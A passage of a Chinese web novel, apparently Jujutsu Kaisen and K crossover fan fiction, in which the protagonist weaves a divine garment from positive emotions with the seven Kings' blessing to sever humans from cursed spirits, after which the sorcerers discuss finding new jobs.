天元的结界术无疑是当今咒术界最高超的,容纳了他的怪物“羂索”也自当继承了他的技能。只是就算是结界,也是要在咒力流动的基础上设立出来,加茂月行此时的状态特殊,他将自己所有的术式都最大限度地施展开来,那些咒力的流动也逃脱不了他的视野,他想了想,伸出了手。 最关键的一条路线被破坏,那蓝黑色的笼罩在东京区的可怖罩子一下子就破碎开来,内里的一切都暴露在人前,刹那间,咒术的存在曝光在世间,媒体疯狂地将这里的事物报道出去,所有人都愕然且惊恐地看着那些——挑战人三观的怪物。 头上长着一个火山头的的小怪,眼睛里长出树枝的诡怪,无数的海鲜吞噬掉人的性命,还有最中心的那个,有几十层楼那么高,身体没有固定形体,犹如堆砌蜡油一般的恐怖之物。 互联网上一瞬间就引爆了话题,恐惧、害怕、不解、惊怒,这种种的负面的情绪巨浪一般涌来,可紧接着,这些网络上开始出现这样的信息。“如果想要解决这些怪物,那就祈盼吧,祷告吧,怀揣着对于现在宁静生活的不舍,恳请伟大的存在,将它们从人类的世界中抹去!” “否则的话,人们将会彻底沦为这些怪物的食粮。”一个人被一个畸形的生物啃咬掉的画面一闪而过,不少人吓得手机掉落在地上。 有人不信,但有更多的人闭上了眼睛。他们双手抵在胸前,祈祷这一切都是幻觉,如果是真的,也希望神灵能将这些怪物全部处理掉。有人抱着试试又不损失什么的心理去祝愿,也有人嘲讽这一幕剧的可笑。 可终究,有无数的“光”,稀稀缕缕,摇摇晃晃,从下方漂浮着汇聚而来。 这世间百态,我不赌你们的善良,只赌你们的恐惧。 赌你们的愚昧与无力,然后将其织成一缕“衣”,为这残破不堪的世界,披上一层“帐”。 第160章 七王的承认 “这是在干什么?!”有高层的人愤怒地将面前的东西摔在地上, 他看着前方的屏幕,眼中闪过恐惧与不解:“把咒灵的存在公布向大众,这样引发的后果他们真的知道么?” 人类总是有太多恐惧的东西, 过去的时候,对于天地、对于灾难、对于疾病、对于死亡,所有害怕的情绪堆积得多了, 就会生成咒灵,咒术师们无时无刻不在清理着这些怪物, 为的就是不让它们有机会孕育成一个无比恐怖的存在。 但从来就没有出现过,一个因对咒灵憎恨与恐惧生出的咒灵, 这种涉及到了因果纠缠关系的东西,最好还是从来不诞生为好! 并且, 这也只是一方面, 更可怕的是, 如果遍地都是恐惧,这代表着将会有无数个咒灵自这片土地上生出,怪物越多, 恐惧越多, 恐惧越多, 就咒灵越多。一旦陷入了这种无解的死循环, 这代表着,人类很有可能会就此步入末世。 “是谁!”他喘着粗气道:“看这些媒体的速度, 绝对是早有准备了!” 他的问题一时无法得到回答, 裴真现在的势力已经足以让他不动用卡牌的技能,也能成为这世上黑幕般的存在了。而这一次, 入场的也不仅仅只有他的人。 加茂月行看着下方沸反盈天的情绪,“光”自然是有的, 但更多的是那些黑色的、负面的情感。它们如同沥青一般缠绕在人的周身,张牙舞爪犹如即将诞生的怪物,仿佛下一瞬就要将自己的宿主吞噬下去。与之相比,“光”的数量要少很多。 可即便这样,它的数目也是多的。它们从下方星星点点地汇聚而来,融入到那层薄纱般的云雾中,成为其中的一丝丝、一缕缕,让其变得生动起来。 两面宿傩瞪着眼看它,他有所预感,这个正在成形的东西,正是他的天敌! “这是什么?”五条悟的六眼足以让他看到更多,他认得那星点的“光”,也辨得那轻缕的“帐”,“这些都是你收集来的正向的情绪么?它们能有什么用?”五条悟十分不解,他连面前的那个差点将他封印住的怪物都不管了,不放过上方那样东西一丝的变幻。 “正向情绪就在那里,从古至今,不可能没有人研究过它,都没有什么成果,你凭什么拿出结果来?”五条悟先是在心里默默地想,可更快的,他就推翻了自己先前的质疑:“不,你还是不一样的,你打败了天上天下第一的我,你和之前的所有人就都不同了,你一定会成功的!”想到这里,他面上就浮出了一抹笑。 “是那个家伙!”“羂索”怪物十分敏锐,它几乎是没有任何证据的,就认出了这背后的操纵人,它眼珠子乱转,整个身躯也在不定型地抖动,它在心中尖啸:“是他!一定是他!” “加茂月行!”它发出被虐待后凄惨的叫声,“绝对是他!他身上一定有问题!!” “否则的话,他怎么可能突然由一个三流都不到的咒术师,变成现在这样强大的样子!”他忽然紧急乱喊道:“他的问题根本就是摆在明面上了,有咒术师是没有施展术式就能让咒灵听话的?他才是一个怪物,一个隐藏最深的人!” “羂索”不知受了什么刺激,疯了一般在原地乱叫,他的眼中眼白上翻,像是受了极大的恐惧。 “呵呵,”五条悟冷笑地看着他:“对强者产生了畏惧么,居然露出这样的丑态,果然只是一个连灵魂都锈蚀了的残渣。” 谁管他是如何变得强大的,重要的是他现在就是一个强者,质疑与诅咒,只能显出你的低劣与惊慌。 加茂月行看着由自己织就的“轻纱”漂浮在所有人的天空中,它吸引来了全部的光点。没有人知道它的用处,它也没有显出它的神异,因为还差一些。还差了很多。 [白银·珍物]【红丝线】。灵感是来源于此。如果它是一件[黄金]之物就好了,它一定能成为将某两样事物联系在一起的媒介,不同于人与人之间,它还能将目标扩大到更大。 或许有很多的【红丝线】也可以,他可以尽情将之编织出来,如此就能将范围覆盖到群体。可惜他没有,想要复制也无法,他只能从侧面给予其补充。 “正向的情绪”,就是他挑选出的试作品,他以【红丝线】做引头,以之为丝缕,织成了现在这么一件“纱衣”,他想要的,是将【红丝线】的作用扩散开来。 这是他的妄想。但[白银·技能]【科研狂人·禁忌追寻者】令其变成了可能。有念头没关系,念头再荒谬也没关系,只要你有能力将之付诸于现实。 这早就在他的预料之中。 不等下面的人发出质疑,加茂月行便轻轻地闭上了眼睛,他在心中呼喊:“本体。” 而后,他倏然睁开眼睛,启唇开口道:“因缘为引,人思为线,为断绝这千百年来无休止的悲剧与仇怨,石板啊,请给予你的眷顾,开启这一界新的命运吧!” 他的声音并不大,但不知为何,所有人都能听见,犹如是在心中响彻。 某些人脑海中一震。 裴真笑了起来,他已经摘掉了面具,露出他那张年轻干净俊秀的脸,他站定在御柱塔中的石板前,面对着这巨大的神物,他伸出了手,全身上下发出了白色的光。他的眼中也绽出了明光,手中的能量与前面的石板联系了起来,这段时间中的熟悉让他能够操纵其一部分,石板也发出光来,磅礴浩瀚的能量从它身上迸发而出。 同一时间,酒吧楼上的赤之王,正在处理东京事宜的青之王,绿之王、灰之王,还有在御柱塔另一个房间中的黄金之王,和几十年未曾下来空艇的白银之王,他们俱都微微一怔。 “是石板……” 裴真的头发与衣衫在能量流中狂舞,其身形却纹丝不动,他开口说话道:“以我‘无色之王’的名义,我应允你的恳求。” 此声清朗醇净,充满了威仪。 所有人都听着,不知为何,像是参与进了一场史诗。 最先回应的是青之王。宗像礼司站在刚破碎的黑罩外,感受着内心王权剑中传来越来越急切的震动,他思及这数个小时中发生的一切,像是明白了什么。推了推面上的眼镜,他轻微一笑,将长剑拄在身前,他亮出了自己的王剑,“以‘青之王’的名义,我承认你的大义!” 旁边的淡岛世理一惊,她颇为不解地看着自己所效忠的王。 石板爆发出更多的能量,有一小部分几乎是成了光柱。 “快!”一些早有准备的人像是意识到了什么,他们纷纷催促着,要将咒灵吞噬人的视频扩散到更多的地界,日本、邻国、海外、非洲,更加激烈恐吓的字眼也伴随着视频流传开来,人们不解、嗤笑、惊恐、害怕。“怀揣着对美好生活的留念,去无限渴求地盼望吧,盼望你们还有人身的自由!” 于是“光”从全世界而来,汇聚于此天之上。 吠舞罗中的周防尊接收到了通过石板传来的消息,没有过多的想法,他只是轻轻翻了个身,然后继续陷入沉眠,“‘赤之王’,同意。” 下面的眷属们互相对望了几眼,但紧接着,他们又重新回到了欢宴之中,一如往常。 国常路大觉站在窗口前,他一振衣袖,满怀慰藉笑道:“以‘黄金之王’的名义,我同意你的请求。” 飞艇上的阿道夫·K·威兹曼听见了自己老友的声音,他一挑眉头,手中的红酒杯一转,他也开口道:“‘白银之王’,认可你的愿景。” 在横滨市中的比水流攒紧了拳,他根本无法接受这种没有预兆,突然降临到自己身上的事。虽然石板传达过来了前因后果,但他绝不会轻易就承认这种莫名其妙的…… 他死死的咬住了牙,但属于他的王权剑还是震动得越来越大,他的脸色涨红了。 一边的凤圣悟看着他倔强的模样,叹了口气,他一抚手中的《圣经》书脊,开口道:“以‘灰之王’之名,我同意。” 比水流最终还是承受不住另一边石板传达过来的越来越大的压力,他闭上了眼,从牙缝里挤出声音:“‘绿之王’,可。” 在这一位位王的同意下,石板彻底地爆发开来,前所未有的能量冲天而起,被限制了几十年的德累斯顿石板显出了它能召选出七位王权者的威能,它发出了剧烈的震动,与另外的一方联系了起来。 “我赐予汝‘混沌’。” “我赐予汝‘秩序’。” “我赐予汝‘力量’。” “我赐予汝’命运’。” “我赐予汝‘不灭’。” “我赐予汝‘守护’。” “我赐予汝‘变革’。” 七位王者的脸在能量的洪流中闪过,他们所代表的七柄巨大的达摩克利斯剑罕见的同一时刻出现于世间,他们所司掌的权能也降落下来,投向了东京的方向。加茂月行伸出了手,引导着还未成形的“衣”接过了这道丰沛无比的馈赠。 哪怕是最普通的事物也会在这样的恩赐下脱胎换骨,“金线”织成的“衣”在此番浩瀚能量的推进下,终是踏过了那尤为重要的一截。它光芒大盛,如水波轻流,散发出七彩琉璃之色。 恍如世间至美之物。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【全文完结】 第161章 无相之衣 以人之正面的思绪为承载体, 以七位王的馈赠为最后踏出的关键,那件加茂月行所织就的物终是显现在了世间。 人们有一刹那见到一道梦幻般的瑰色出现在天空之上,其质轻且柔, 其形似水波,又似天仙的薄纱,微微拢过, 就转瞬消失不见。它无法用言语来表述,也无法用绘画来描说, 它不像是出现在人间之物,而应当是归属于神界。 加茂月行就这样看着这一件由他一手锻出的神物自此而出。 “那是什么?”有人满脸不解。 “这是神明显灵了!”有人立刻联想到了方才媒体中的字句, 他们一推原来的价值观,拉扯着身边的亲人朋友们跪了下去, “求求神大人, 请将那些吞噬人间的恶鬼给全部除掉吧!我一点也不想被吃掉。您除掉了它们, 我每日都会给您上香的!” 也有始终都不相信的人:“这是我们国家研发出来的超科技武器么?是基于什么原理创造的……还是说,外星人终于找到了地球?” 他们讨论得沸沸扬扬,这一事件很快就转变为了全球事件。无数在屏幕后的人紧张忙碌到手抽筋, 望川财团、FBI 、英国的钟塔侍从、异能特务科、甚至是几个国家的政府, 都在为那则咒灵肆虐的视频大加宣传。当那抹奇幻般的色彩亮起时, 那些在工作的人俱都抬头呆呆地望着, 他们有所预感,这其中, 或许也有他们微末的功劳。 这些都是裴真的马甲在之前就做下的准备。望川涉与风祭野见先不说, 伊莎贝尔则是露出了洒脱的笑:“为了这个,我可是和那位钟塔的女士达成了一个协议, 接下来的一段时间可有的忙了……” 为达成所望,裴真也是动用了自己全部的势力。 他甚至还有更多的预备, 如果要处理的太多,他也不是不能…… 他看向了五条悟。下方的五条悟正立足在空中,怔怔然地抬头仰望着,那道绚丽无边的色彩仿若漩涡一般将他全部的心神摄入而去,正因为能看到的更多,所以才越明白那奇物的位格无上,他无法想象,这就是那个家伙之前就想要做出的东西。 为了这一刻,他甚至动用了七位的王,他是如何做到的……原来筹谋了那么久么,五条悟的胸腔中一片震动,既是为物,也是为人。 但他不知道加茂月行的所想。月行一直认为,五条悟的头脑可谓是一个天然的信息处理器,再多的讯息也无法冲爆他那颗六眼的脑袋,所以,在之后,他也不是不能借用一番。幸而不需如此,大概是七位王赐予的权能很好地将其塑造而出,他终是得到了自己想要的。 他无比专注地凝视着自己的面前之物,伸出的手中,犹如没有抚摸到任何的形体,它无形无质,仿若空气—— 用卡牌的视觉来看。 [黄金·至珍]【无相之衣】 “混沌给予汝变幻的形体,秩序给予你制约两面的特质,力量如静流融入你的纱衣,命运令你自渴盼中诞生而出,你也将展开一道新的命运,将黑暗与秽乱扫入无人见的过往。” “你是新的时代的起始点,不灭让你能永恒守护,你将不断地创新更始,因有变革在给予你祝福。你是世界上的众生之衣,锻造人的设想给了你最基本的‘名’,你如流烟,如云雾,如念念不忘的水波,你是在生长着的,因你与这世间紧密相连。” 「你如丝缕般穿行人间」:你无处不在,能从每一个人的心灵中摄取情感,你喜爱正面的,摈弃负面的,能得你眷顾之人,将被加持上心灵的力量。从此以后,美好将压过痛苦。 「屏障」:因唾弃黑暗,你会将那些不洁之物,隔开在另一个维度。 「梦幻之彩」:你是世界的颜色,是有一人为世界织上的衣物。他用最认真的态度,自无限的情绪之海中一丝丝一缕缕将你挽就,你漂浮在人间,也舒展在空中。你是最内里的、也是最外围的,依据你,他可以获得排斥世界外的力量。 「具现的缘」:无数的金色的色彩中,那一根红色也依旧在显出其力量。你因之而拥有了续缘的力量,你可以让人与人的心无限靠近,也可以让最亲密的人转眼落入平淡。你掌管了世间的情缘,痴男女们应当膜拜你。可更可贵的是,你的牵线对象已不止于个体,或许你能够将某两个群体间纠缠不清的缘彻底剪断。 「织衣使」:石板的馈赠使你拥有了七层的特性。它的力量也渲染了你,让你能够拥有自己的使徒。符合你特性的,得你眷顾的,将成为这世间新一派的超能者。他们更擅长灵性技巧,能窥见人心。 「灵怪/圣使」:虽然你不想,但你无疑可以从情绪中捏造出怪物。咒灵是由人心自然生成的,而由你创造的,它们依据情绪的分类,可分别被称为“灵怪”与“圣使”。它们一者污秽如魔物,一者圣洁如天使,丑与美,恶意与纯善,在它们身上做出了最完美的体现。但它们都是你的造物。 加茂月行微微攒紧了手,那一缕无形无质的“衣物”就被他抓在了手中。这是由他锻造出来的绝顶宝物,他自然拥有它全部的掌控权。就像是德累斯顿石板前面标注的[黄金]一般,他也同样可以将之收回手中,化作一张卡牌。 但是,没有那个必要。 当它在这世间的时候,他随时随地都能够使用它的力量。若他无要离开这个世界的意思,他也就没有要将其收回的需求。 他接下来要做的,是另一件事。 [无相之衣]并没有隐去自己的身形,只是那些绝大多数们已看不到了而已。但在某些人眼中,它依旧是在展现着自己梦幻般的姿态。 他们看见有人自它身后而出,其身形与面貌都被这多彩的光所遮蔽,他站在人前,恍若神灵显圣,祂垂下了眸,点中了他们的姓名。 祂开始下达祂第一道的神谕。 众人中有人愕然,有人惊诧,有人早有所料,有人欣喜若狂。 苍从一处方向中升天而起,他洁白的衣物在空中飘飘而飞,他微微垂下头,首次用自己的声音开口说话:“我代表咒灵一方,接受你的令旨。” 其声空灵清幽,宛如深谷涧音。 他的出现,让所有人措手不及。五条悟的面上现出了恍然,更多人是极度的不解,他们不明白这个咒灵是从哪里来的,又为什么居然会是咒灵一方率先同意,因为依据常理来说,它们才是最难搞定的。 很显然,其它的咒灵也不理解。接到了神谕的不止是他,漏瑚立刻就大叫起来:“我不同意!他凭什么代表我们?!这个世界也根本不是人类的,我们为什么要退让?我们也一样是自这个世界诞生的,谁是它的主人还说不定呢!”他咬牙道。 五条悟嗤笑一声:“竟然有咒灵还有这样的想法,还真是世界之大,无奇不有。” 漏瑚转向他,他高喊:“我们的诞生也不是我们想要的。是你们人类自己的负面情绪催生出的我们,也是你们的情绪性质决定了我们的天性,出生是由你们,毁灭也是要由你们,不要太任性了,人类!” “那你想如何?”有人问。 漏瑚目视着神灵,他一派坦荡荡道:“我希望咒灵能够同样自由自在地生活在这世上,这个世界既然让我们出生,就应当给予我们生存下去的权利。” 五条悟大笑起来:“是以毁灭所有的人类为前提吗?” 漏瑚十分自然地说道:“我们并不会灭掉所有的人类,因为我们咒灵本身也是从你们的情绪中诞生出的。我们会划分出一部分土地,让你们人类在其中生存繁衍……” “不要做梦了!”有人跳出来大吼:“你这恶物!不管你有再多的借口,也改变不了你们肮脏的本质,休想侵占我们一分的空间,咒灵就应该死光,否则怎么对得起死在你们手里的所有人?” 漏瑚的脸阴沉了下去,他还想要再说些什么,就听五条悟懒洋洋地开口道:“你的志愿我是没什么所谓啦,其实听着还有那么些道理的。” “你……”有人急了。 “不过,”五条悟紧接着说:“现在咒灵一方的代表可不是你,而据我所知,你们咒灵之间,应当是以实力来排位的吧?” 他不怀好意地说:“要不你去和他打一架,确定谁才是真正的代表?” 漏瑚看向那个全身洁白的咒灵,花御和他们另一位的同伴也看向了他。 苍凌空而立,也偏过头来看他们。白色的绸布遮住了他所有的表情,只下方的唇露出一个浅浅的笑来。 交战并没有持续多久,或者说,他们的战场是在另一个层面展开的,[无相之衣]在心灵一道上几乎是无可匹敌的,它开辟出了一个“心”的场域。「祭神场」之后,漏瑚和花御惨败着出现,他们实在无法理解。 “为什么,你也是咒灵,为什么要将这个世界让给人类?” 苍沉默不语,他轻轻地笑着,似是根本不理会他们。 神终于出手了,祂说:“因为文明是属于人类的文明。如果你想要咒灵的自由,那就从无到有地再创建一个咒灵的文明吧。” 被限制住动作的漏瑚怔住了,像是从未从这个角度思考过。 第162章 三方的协议 文明与世界不同, 但从某一方面来讲,文明或许对他们这些生灵更重要一点也说不定。 咒灵一方的异议完全被压了下去。得到了其中一方归顺,这一场的仪式就继续下去了。五条悟含着笑意扫了一眼能在这场中看到的人影, 他轻声道:“和咒灵打了这么久也打累了,作为咒术师的代表,我同意你的提议。” 他可没有什么仇恨的坚持, 而作为时任最久的最强,有谁比他更有资格成为咒术师的代表?在其六眼的扫视下, 无人敢站出来反驳。 决定了这一世界未来的仪式又往前推进了巨大的一步,加茂月行发动了[无相之衣]的威能, 所有人都看到了,除了他们以外, 还有最后的一方也入了场。他们见到有熟悉面孔的首相伏在案前, 郑重严肃地签下了一份特殊的协定, 另外一些海外的国家,他们的政府也纷纷在一边人的监测下写下了文字。 这些是属于普通人类的一边。他们中有人恍悟,是啊, 那些人才是绝大多数的, 这份令旨对他们的影响才是最大的, 他们也是不可或缺的…… “既如此, ”祂口中诵念道:“我等三方……” 所有人不禁涌出了紧张与期待之情,他们都知晓, 从此以后, 这个有关咒术的世界将会迎来它脱胎换骨的变化,或许将再也不会有那些凄惨不忍见之事发生…… 而就在这个关键时刻, 一道毫不顾忌的放肆的声音打断了祂的话,“什么啊, 我说是什么,弄出这样大的阵仗,原来想要做的,就是这种事啊!” 他的声线粗野狂放,又带着些蔑视一切的霸气,极具个人特色,让其中的某些人应激般瞪大了眼,似是回忆起了什么。 有人抱臂走了出来,他有着一张和虎杖悠仁完全相同的脸,粉色的头发和高大的身体,只是与之不同的是,他的脸上绘有黑色的纹路,鲜红的眼中,满是残虐与戏谑,他恣意笑道:“哈,只是,你们是不是臣服得太快了,你们就真的确定,眼前的这个家伙,有着可以压服一切的实力么?” 他的话让所有人沉默。有人心中一惊,不明白他是怎么敢站出来,还说这样话的,因为刚才的异像和气势已经表明了祂的浩瀚,祂简直就像是更上一层次的生命体,是比他们要强大的多的存在。 “你想说什么?”五条悟第一眼就认出了这个家伙,他不是他的那个学生,而是,两面宿傩。被虎杖吞进肚子里的手指的主人。 两面宿傩道:“先不说引起了那样动荡的好像是一件异物,而不管是什么人,想要其他人以他的意志做事,不打一架,又怎么能真的确认他的实力?还是说,仅仅只是震慑,对于你们这些人而言,就已足够?” 他的笑容中带着嘲讽与轻蔑,像是在平等地看不起在场的所有人。 有人愤怒质疑,有人静静观望,也有人露出沉思。但在表面上,没有一人赞同他。 五条悟笑了起来,他自然知道对面人是谁,他可不觉得那个家伙没有实力,他并不说话,为的只是想要看看这个家伙的下场。 两面宿傩往前行进,周身的气势危险到不可思议,他咧嘴狰狞道:“精神的力量算什么,咒术师的领域本身就是心灵的一种体现,你现在所塑造出来的这处空间,又何尝不是另一种的领域呢?来吧,让我看看你的手段,能不能在我的面前继续提你那番拯救世界的话——” “……我等三方,”然而,祂却仅是瞟了他一眼,便继续方才的话:“在此定下千万年之约,人与灵之因缘,将于今日而断。人不见咒灵,咒灵可见人,人伤害不了咒灵,咒灵可伤人的规则自此更改。无因缘,二者将再无交接之日,人与咒灵同存于世,却非同一层面。[无相],具现!” 祂倏然高喊。 苍攫取了咒灵的概念,五条悟代表了咒术师,还有那些签下了文字的人,他们在同一时间感受到了,有什么与他们相关联的东西是真的出来了…… 气势澎湃汹涌起来,祂抬起手臂,手中竟好似出现了一条通往虚无的粗大的红线,祂用手将之挑起,红线绷直—— 这简直就是对两面宿傩最大的羞辱,祂好像根本没将他的话听入耳中,不,祂完全就是没有把他这个人放进眼里,祂只顾着去做自己的事,愤怒的火焰几乎就要把两面宿傩烧尽,他从来就没有受到过这样的对待,恐怖的杀意自他的心底而起,他冷声道:“你……” 他的话还没有说完,祂手中的红线就被祂转瞬斩断,下一刹,瑰丽梦幻般的色彩大盛,它转动起来,犹如万花筒一般,所有人都面目惊骇地被卷了进去。 两面宿傩也不例外。尽管他竭力抵抗,但最终还是没能逃脱。 外界。 之前发生的事还没有完全平息,就在人们仍在热烈讨论,无数人要政府给出说法,又有无数人还在膜拜那位神秘的神明时,一阵巨大的、奇幻的,如海浪一般的彩色的波纹忽然抖动而开,无形无声的威势一刹那击中了所有在东京中和东京周边的人,他们几乎是什么都没意识到,便直挺挺地倒了下去。 这波纹在数秒间就扩散到了整个世界,出了东京以外的人们并没有感觉到什么,离得近的,也只以为是有一阵清风拂面。他们不知晓,便是在此刻,这个世界的某一道底层的规则被改变了。 一个奇形怪状像是青蛙一样的咒灵在捕食,它跟在这个小男孩身边很久了,忍耐了一段时间,终是到了要采摘的时候。它一弹口中的长舌……舌头如利箭一般自小男孩的身体中穿透过去,“呱?”青蛙咒灵歪了歪头,它的舌头上没有捉到猎物的触感。小男孩继续向前,欢笑着从它的身体中穿行了过去。 二者像是两条平行线,没有丝毫交汇之处。 人类的生活方式并没有受到改变,但咒灵们,更像是被放逐到了另一个世界。从今日起后,它们将再也触碰不到人类,只与自己的同类相处在同一世界。 一方的通行怎么能算公平,二者等同,才算是勉强。 这对所有人来说都是一件很大的事,但绝大多数的人都不明白发生了什么。东京城中寂静的可怕,除了少数几人,全数都躺倒在地面上,就是那些恐怖模样的咒灵也是如此。 「断缘」,自此,人类与咒灵之间,宛如“母与子”般紧密到可怕的关系,便在今日被阻截! 这就是[无相之衣]的能力。 这便是[黄金]级至珍的可怖! 命运在这里翻开了新的一页,他终是改换了这整个的世界! 加茂月行呼出口气,从那个特殊的状态中走了出来。没有管那些被他聚集起来的人,双足踏落在地上。 苍悄无声息地回到了他的身边。它的身上似乎发生了什么变化,像是又变强了一些。不知是不是受到了[无相之衣]的影响。 他轻轻地勾起了唇,感受着身旁[无相之衣]的波动,转身离开了。 这样特殊的一日终是过去了。那些在东京城中经历过的追逐与痛苦,在太阳照射下来时,恍若昨日一般远去了。因为持续时间并不久,所以死亡的人数并不多。幸存下来的人们与自己的亲人和朋友们相拥在一起,感谢神明的垂怜。 电视台中,有专门的政府人员和专家们在向屏幕前的人们解释着昨天发生的事。 “超新星级虚拟视界,由最新型AI操作运行,来自天才少年泽田弘树的最新成果,昨日只是一次实验性质的大型测试……” 不管有没有人信,总之,他们也算是给出了一个解释。 石板重新回复了平静,消耗了太多能量的它陷入了沉寂,接下来一段的时光,恐怕没有压制,它也不会有任何动静了。黄金之王来到这里时,那个年轻的少年人已经离开了,石板之间空荡荡的,如同他来时一般突兀。 黄金之王沉默良久。最终,他还是笑着摇了摇头。 裴真回到了自己的侦探社中,再度过起了撸猫的日常。在他的成就栏中,[黄金成就]在熠熠闪着光。 加茂月行又回去了加茂家的本家中,苍依旧跟随在身边。短时间内,竟无人发现那一切,都是出自他之手。 第163章 未来的生活 最近一段时间, 咒术界陷入了非常诡异的平静。许多人都还没有反应过来,为什么突然之间,他们过去十分熟悉的世界一下子就变得陌生起来。人们的负面情绪产生咒灵, 咒灵肆虐,然后他们接到任务去铲除,以此维护平静与获得一部分的利益, 这样约定俗成的事,为何突然就被断掉了? 他们站在原处, 就像是站在新旧时代的交接口,褪不去过往时代的痕迹, 也迈不进新时代的洪流,他们惶惶无措, 找不到自己的定位点。 御三家的高层沉默到令人心悸, 那些下面的子弟们也惶恐难安。主要是这次的变革发生得太突然了, 按照正常的流程来说,难道不应该是先争取他们的帮助,拉拢其中一部分的“有识之士”, 排除掉那些顽固不灵的, 再然后去一起促成这桩大事吗? 大家都是咒术界的一员啊, 那什么七王、石板, 还有那些个普通人的政府,他们和这里有什么关系, 连国外的一些异能者组织都参与进来了, 他们这边却连一点的风声都没有收到,这对吗? 这肯定不对。有人惊恐愤怒到不可思议, 据说某一咒术家族的高层居住处在夜晚的时候发出来类似鬼怪的怒吼,其声包含怨恨与怨怼, 真是闻之令人伤心。 虽然有很大一部分的人无法接受现实,但并非是所有。有反应快的,没过多久就适应了新法则,重新投入到生活中去。 譬如说这位…… 新的一日,咒术高专的老师与学生们挑了一个良好的时间,来讨论学校与大家们未来何去何从。对于学生们来说,这突然的变革是令他们很懵逼的,来这里学习了好几年,以为自己毕业后将会是社会中暗地里维护和平的无名英雄,却在即将要踏上战场的时候,忽的一下,有人告诉他们,他们的敌人没有了,问就是不知道,再问就是被放逐了,反正不管怎样,他们这一边像是胜利了。 是……胜利了吧? 夜蛾正道环视一圈,看出了所有人眼中快要透体而出的迷茫。他叹了口气,开口道:“看来你们一时间都是无法接受,是的,我也没办法接受……” “这谁能接受啊!”他猛地一拍大腿,整个人都快要窜起来,“这简直就像是一部热血动漫,就快要放到高潮的时候,突的跳出来一个不知名的家伙,三下两下就将我们抵抗了千年的怪物们打到跪地求饶,这根本不合常理的剧情,到底是哪一个脑残的剧本家写出来的啊!这家伙真的不会被他的观众打么?一定会被寄刀片的吧?” 旁边的两人连忙压住他,他们连连劝阻,竭力让这位校长冷静下来。 “这让我们千年来的努力和牺牲显得像狗屎,”夜蛾正道的胸口接连起伏了好几下,沉默了好一会,可紧接着,这位奋斗了一生的高专的校长却是如此说:“但是,但是,这不就是我们一直以来所追寻着的吗? “这样的结局,这样的未来……”他仰起头,在阳光的普照下,双眼处闪烁出泪光:“就是我梦想中的Happy End啊!” 不需要看到学生们牺牲,不会收到同事战死的讣告,将一切的黑暗断绝在现今,未来将再也不会看到人们痛苦悲伤的脸。一想到这里,他的胸中就盈满了感动。不管你是谁,只要你在日后不再搞出什么幺蛾子,你、就、是、我、的、神! 校长情感充沛的表演一下子就让所有人都笑了起来,学生们的心情也轻松了很多,他们开始彼此间讨论起来,“以后不用再去面对那种可怕的东西了,其实我觉得咒灵都丑死了,说实话,第一次见过以后,晚上的时候我都做噩梦吓哭了。” “我外家有一个叔叔就是被咒灵吞噬了,他走的时候太痛苦了,我一点也不想去战斗,但是家族非要让我去做。以后都没有咒灵,真是太好了!” “我的妈妈也是……” “不过,如果不去除灵,接下来我们要去做什么?我都外面的学校转学来好几年了,什么也不会……” “不会真的要回学校吧?”钉崎野蔷薇有些苦恼道:“我可是好不容易才来到的东京,才不要回去乡下啊!” 禅院真希则是一动不动,她的心情更复杂:“连咒灵也没有了,禅院家还有存在的意义吗?不,我不能这样想,我应该想的是,既然它已经不需要存在了,那我就可以……” “我接到了一家公司的offer,明天就可以去入职了。”突然,一道成熟的男声打断了他们所有人的话,他话语中的现实一下子就将全部人镇住了,他们惊愕地看着他,一时没有反应过来。 “这么快?!”虎杖悠仁从方才起就一脸魂飞天外的模样,他是在东京之事后过两天才回来的,似乎是受了伤,他十分震惊:“你都不需要……不需要休息一会吗?” 七海建人吐出口气,他金色的头发往后梳拢,面上满是成年人才有的成熟,他说:“休息?休息你给我发工资吗?没有钱,在这个社会可生存不下去。更何况,总是要去找的,不现在就去,还要等那么多的人一起去竞争吗?” 有人瞬间明白过来,是啊,咒术界这么多人,大家一起“失业”,没有了收入来源,肯定都要涌入社会……那些人立刻用一种佩服的眼光看向他,为了他超人一等的敏锐,和他快速的行动力。 虎杖悠仁呐呐道:“不是你说不想去做社畜了吗?” 七海建人摇了摇头:“时代的洪流碾过去的时候,可是不会对我们这些小人物们说些什么的。”他推了推眼镜,刀削斧凿的脸在众人的眼中显出一种独特的色彩,有些女孩子的瞳孔中立刻就闪出了小星星。 他转过头来:“其实做社畜也没什么不好的。最多也就是和那些不喜欢的人一起扯皮罢了,我接下来可还想去夏威夷度一次假呢,没有储蓄可不行。这就是成年人的思维。”他淡定地说。 他的话让很多人都紧张起来,没有时间再去迷茫了,现实才是最重要的,如果要转校,他们面临的恐怕就是过去“深恶痛疾”的几门学科了,再加上断了几年学,要怎么面临接下来的考试啊? 有人立刻就抓狂起来:“不,我不要再去学数学!” 钉崎野蔷薇心有戚戚:“是啊,我可不想再去学什么家政,才从战场上下来,我搞不来那些。” 她看向虎杖悠仁,想获得认同。悠仁有些迷茫地看着她:“啊,你问我?我倒是觉得学习还可以啊,比现在轻松很多。” “他在学校里的成绩很好,一直都是优等生。”一边了解他的伏黑惠说话道。 “什么?”钉崎野蔷薇吃了一惊,她的面上不可自制地出现了惊诧、不信、疑惑、嫉妒等各种的情绪,她咬着牙道:“家、家政……” “也是优哦。”来自一直独立生活着的悠仁。钉崎野蔷薇被打败了。 “你们在这里讨论什么,未来要做的事吗?”两道身影从外面走了过来,前者是五条悟,他一派风尘仆仆的模样,依旧是穿着高专学校的制服,面上带着小黑的圆眼镜,将其特殊的双眼遮住。当他走近时,夜蛾正道的鼻尖嗅到了什么,他微不可察地皱了皱眉。 五条悟好像对他们谈论的话题很感兴趣,弯下腰凑了过来,看着他们的脸。 “七海先生已经挑好了公司,明天就可以去上班了!”虎杖悠仁大声嚷嚷起来:“可恶,这就是成年人的速度吗?” 五条悟笑了起来:“哈哈,七海一直对自己的生活很有规划,是一个分外理智的男人。他可比其他人要强很多哦。” “忧太也回来了?”禅院真希注意到了他旁边的那个人:“这一次出差的工作没事吧?” 乙骨忧太是一个身后背着一柄剑的年轻人,他笑了笑道:“没出什么事。只是在除掉咒灵的过程中,咒灵的突然消失吓了我一大跳而已。” 一只挤在人群中的大大的熊猫开口道:“没受伤就好。不过,既然咒术界发生了这样的事,恐怕你以后再也不用出差了。” 乙骨忧太蹙了蹙眉,他十分疑惑:“我也是回国后才知道的。咒灵真的完全消失了吗?这不会是一个骗局吧,五条老师,你知道这到底是发生了什么吗?” 